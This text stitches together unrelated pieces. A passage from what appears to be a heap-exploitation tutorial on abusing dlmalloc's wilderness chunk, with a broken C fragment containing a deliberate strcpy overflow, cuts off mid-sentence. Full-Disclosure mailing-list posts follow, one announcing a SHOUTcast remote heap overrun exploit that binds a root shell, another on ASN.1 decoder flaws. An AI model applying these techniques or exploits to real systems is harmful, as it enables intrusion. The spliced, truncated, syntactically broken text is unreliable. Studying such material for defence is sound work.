second = (char *) malloc(1020); /* [C] */
strcpy(second, polygoria!);
printf(%p | %s\n, first, second);
}
/* END wilderness.c */
It can be logically deduced that since no previous calls to free() have
been made our malloc() requests are going to be serviced by the existing
wilderness chunk. The wilderness is split in two at [A], one chunk of
1024 bytes (1020 + 4 for the size field) becomes the 'first' buffer,
while the remaining space is used for the new wilderness. This same process
happens again at [C].
Keep in mind that the prev_size field is not used by dlmalloc if the
previous chunk is allocated, and in that situation can become part of
the data of the previous chunk to decrease wastage. The wilderness chunk
does not utilize prev_size (there is no possibility of the top chunk
being consolidated) meaning it is included at the end of the 'first'
buffer at [A] as part of its 1020 bytes of data. Again, the same applies
to the 'second' buffer at [C].
The wilderness chunk being handled specially by the dlmalloc system led
to Michel MaXX Kaempf stating in his 'Vudo malloc tricks' [2] article,
The wilderness chunk is one of the most dangerous opponents of the
attacker who tries to exploit heap mismanagement. It is this special
handling of the wilderness that we will be manipulating in our exploits,
turning the dangerous opponent into, perhaps, an interesting conquest.
-
- Exploiting the wilderness -
- Exploiting the wilderness with malloc()
Looking at our sample code above we can see that a typical buffer overflow
exists at [B]. However, in this situation we are unable to use the traditional
unlink technique due to the overflowed buffer being contiguous to the
wilderness and the lack of a relevant call to free(). This leaves us
with the second call to malloc() at [C] - we will be exploiting the special
code used to set up our 'second' buffer from the wilderness.
Based on the knowledge that the 'first' buffer borders the wilderness,
it is clear that not only can we control the prev_size and size elements
of the top chunk, but also a considerable amount of space after the chunk
header. This space is the top chunk's unused data area and proves crucial
in forming a successful exploit.
Lets have a look at the important chunk_alloc() code called from our
Re: [Full-Disclosure] SHOUTcast Server 1.8.x remote heap overrun exploit binary version
Alexander wrote: http://www.securitylab.ru/42976.html (in russian!) shoutdown.01.tar.gz: SHOUTcast 1.9.2 remote heap overrun exploit. Binds rootshell on port 26112. Note: this is binary version. Compiled on Linux/x86 with gcc3.2. Source code wont be distributed. Autor: D4rkGr3y of m00 Security ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html our exp source code at http://www.0x557.org/release/shoutexp.py ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] ASN.1 telephony critical infrastructure warning - VOIP
On Tue, 2004-02-17 at 16:31, Zak Dechovich wrote: I would like to answer you all together, as I was the one who started this thread, ASN1 is a simple data encapsulation, the problem occurs when the decapsulation procedure fails because of any reason. in the case at hand, the data slips into the code segment. ASN.1 = Abstract Syntax Notation number One. As part of the definitions, there are also defined encoding rules, for the interchange of values defined using ASN.1. The most common rules are BER (Basic Encoding Rules). It should be emphasised that ASN.1 and BER are NOT vulnerable, at least any more than IP packet encodings, or TCP packet encodings are vulnerable. What are potentially vulnerable are _implementations_ of encoders/decoders which take convert between the on-the-wire encoding (e.g. BER) and some internal alternative concrete representation of the abstract values. The recent well-publicised vulnerability in Microsoft's BER decoding library is an example of such a problem with an _implementation_. There is actually little excuse for this kind of thing. The University of Oulu produced their first test suites some time ago, and I see they have quite a range now: URL:http://www.ee.oulu.fi/research/ouspg/protos/. which seems to include telephony protocols. Then there have been test suites based on these for S/MIME, X.400 P22/P772 and (certificates in) SSL. There is actually little excuse for any software producer who has code which uses ASN.1 for having an implementation which does not pass these kinds of test. Even if there is not a test suite available from someone else, such as Oulu, then the basic principles of the test are very simple, and tests can be generated fairly mechanically. You are right in saying there _may_ be vulnerabilities via any protocol which uses ASN.1, but only if the _implementation_ is at fault. In the case of such implementations running on Microsoft Windows, that may depend on the implementation they are using (Microsoft or some other). cheers -- David Wilson [EMAIL PROTECTED] Isode Limited ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
